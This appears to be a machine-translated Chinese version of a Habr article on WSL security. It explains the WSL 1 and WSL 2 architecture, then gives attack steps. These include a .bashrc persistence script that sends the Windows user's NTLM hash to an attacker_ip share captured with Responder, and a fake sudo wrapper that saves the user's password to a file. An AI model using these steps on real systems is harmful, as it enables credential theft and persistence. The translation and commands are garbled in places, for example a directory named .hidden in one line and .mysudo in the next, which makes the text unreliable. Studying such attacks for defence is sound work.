WSL实验。第1部分

哈br!OTUS在10月推出了新的Linux Security课程流在课程开始前夕,我们与您分享我们一位老师亚历山大·科列斯尼科夫(Alexander Kolesnikov)撰写的文章。










在2016年,Microsoft推出了新技术WSL(W indows S ubsystem for Linux),从长远来看,这使以前不可战胜的竞争对手团结在一起,这些竞争对手为在普通和高级OS用户(Windows和Linux)中赢得欢迎而奋斗。这项技术使在Windows环境中使用Linux工具成为可能,而不必启动Linux,例如,使用多重引导。在Habr上,您可以找到大量描述使用WSL的好处的文章。但是,不幸的是,在创建本文时,在此资源上未找到有关操作系统共生的安全性研究。这篇文章将尝试解决该问题。本文将讨论WSL 1和2体系结构的功能,并分析使用这些技术对系统进行攻击的几个示例。本文分为两个部分。第一部分将提供Linux和Windows攻击的基本理论方法。第二篇文章将包括设置测试环境和重放攻击。



WSL 1:体系结构功能



为了最准确地融入WSL安全问题,有必要确定与子系统实现相关的主要细微差别。WSL解决的主要用户任务之一是提供通过Windows OS主机在终端Linux系统上工作的能力。而且,所提议的兼容性是如此原始,以至于Linux可执行文件(ELF)可以直接在Windows系统上运行。为了实现这些目标,在Windows 10中创建了一个特殊的子系统,使您可以使用一组特定的系统调用来运行Linux应用程序-因此,尝试将一组Linux系统调用映射到Windows。从物理上讲,这是通过添加新的驱动程序和新的流程格式来完成的。在视觉上,该架构看起来像这样:







实际上,与Linux操作系统的交互是通过几个核模块和一种特殊的过程-pico组织的。从上图可以看到,主机上Linux实例中运行的进程必须是本机的,并且必须使用与常规Windows应用程序相同的资源。但是,如何实现呢?Drawbridge项目开发了Windows流程概念,提供了运行不同OS应用程序所需的所有操作系统组件(取决于版本)。

请注意,所提出的抽象使得可能不必专注于期望在其中启动另一个OS进程的操作系统(特别是Windows),并提供了一种通用方法。
因此,pico进程内的任何应用程序都可以运行而无需考虑Windows内核:



  1. 兼容性和系统呼叫转换问题必须由专门的提供商解决;
  2. 访问控制应通过安全监视器来完成。该监视器位于内核中,因此Windows需要以新驱动程序的形式进行升级,该驱动程序可以充当此类进程的提供者。微微处理的原型如下图所示:






由于Linux文件系统使用区分大小写的文件名和目录名,因此Windows中添加了2种类型的文件系统以使用WSL:VolFS和DriveFS。VolFS是Linux文件系统的实现,DriveFS是根据Windows规则运行的文件系统,但是具有选择名称区分大小写的能力。



WSL 2



WSL 1有许多限制,使其无法用于解决最大范围的任务:例如,它缺乏运行32位Linux应用程序的能力,并且无法使用设备驱动程序。因此,WSL 2在2020年发布,从而改变了构建子系统的方法。 WSL 2是满足WSL 1的资源消耗特征的优化虚拟机。现在,根据Windows用户解决的问题,您可以选择所需的Linux子系统版本。为了减轻潜在的漏洞,WSL 2是在Windows 10中基于Hyper-V实施的。Windows以这种形式可以独立运行Linux内核。值得记住的是,WSL的第1版是作为Beta版功能引入的,它本应显示Windows在这一领域的发展动力,因此向Hyper-V的过渡是不可避免的。最终的架构如下所示:







在此版本中,Windows和Linux内核具有自己的资源,并且交集仅存在于文件系统中,但此交集并不完整。文件系统之间的交互是通过运行在9P协议上的客户端-服务器包装器进行的。



今天,Microsoft提供了在WSL 1和WSL 2之间切换的功能。这两个版本都可以使用。



WSL安全



目前,有几篇论文描述了使用合法的OS工具攻击子系统之间的交互的一些方法。在撰写本文时,我们将使用他们的脚本来检查攻击的相关性。攻击和情况的一般列表:



1.文件系统的实现:访问权限,共享目录的存在/数据交换机制。



针对Linux FS-> Windows FS,Windows FS-> Linux FS违反访问规则的主题进行了研究。研究表明,可以在目标操作系统中修改给定文件。还尝试替换,创建重复项并删除部分文件系统。



场景:



  • A.来自Windows操作系统的攻击-修改Linux的/ etc目录中的文件。
  • B. Linux操作系统的攻击-在目录中的文件的修改:C:\Windows C:\Program FilesC:\Users\<User>


2.实现网络堆栈。



该研究是针对Windows上Linux操作系统的攻击示例进行的。使用了网络堆栈的功能,即各种资源上的身份验证机制。



场景:



  • 打开对Windows系统上繁忙端口的访问
  • 在没有适当权利的情况下开放港口
  • 在Windows操作系统中使用elf文件启动反向Shell。


3.由于WSL子系统而隐藏了恶意软件进程的启动。



该研究基于一个简单的事实-保护子系统无法截获另一个内核中的事件,对于WSL 1,该子系统使用来自操作系统的合法提供程序进行工作。对于WSL 2,无法查看内部另一个内核中发生的事件。轻型虚拟机。



场景:



1)启动应用程序以远程访问系统并查看记录的事件。



WSL 1实验:哈希捕获(Windows OS)



最后,我们进入了实践部分。首先,您需要为测试设置环境。所有实验将在安装了Windows 10 2004的展台上进行,并选择了Ubuntu 18.04作为WSL的操作系统映像。该图像是随机选择的,其他任何图像都可以正常工作。设置支架的命令:



首先,您需要以powershell.exe管理员身份运行



对于WSL 1,您需要执行以下命令: 重新启动支架后,可以调用bash命令。如果一切正常,您将在Windows控制台中看到以下内容: 我们将使用Kali Linux发行版作为攻击者的计算机,所有计算机都必须位于同一本地网络上。



  1. Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
  2. Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
  • Ubuntu.appx install —root #
  • , , , root. sam.
  • Restart-Computer #
















  • 假设我们拥有Windows机器上对WSL的特权访问。让我们尝试通过从Linux调用命令来攻击Linux操作系统。为了实施攻击,我们将使用一种简单的自动运行技术-我们将添加脚本以在Linux环境中执行。为此,您需要修改文件.bashrc



    在具有WSL的计算机上,运行:



    	1. bash
    	2.     : cd /home/sam/
    	2. echo  «/home/sam/.attack.sh» >> .bashrc
    	3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
    	4. chmod u+x .attack.sh
    	5. exit


    在Kali Linux机器上,运行:



    1. Responder -I eth0 -rdvw


    在Windows计算机上,运行bash。



    我们正在Kali Linux机器上等待结果:







    因此,通过在Linux系统上运行命令,我们通过WSL子系统获得了Windows用户的哈希值。



    WSL 1实验:检索用户密码(Linux OS)



    让我们再做一个实验。在此检查期间,我们将使用.bashrc几个命令对文件进行补充,以获取Linux操作系统的用户密码。



    让我们开始bash并输入命令:



    1. mkdir .hidden
    2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
    3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
    4. echo "echo \"\"" >> .mysudo/sudo
    5. echo "sleep 2" >> .mysudo/sudo
    6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
    7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
    8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
    9. chmod +x .mysudo/sudo
    10. exit


    为了成功完成攻击,Sam需要在Linux终端中调用sudo。之后,Linux OS用户密码将存在于文件中pass.txt







    攻击的实现仅用于理论信息。



    本文的下一部分将描述9P协议的实现,考虑为此协议创建扫描程序,并使用该协议进行攻击。



    二手文献清单







    阅读更多






    All Articles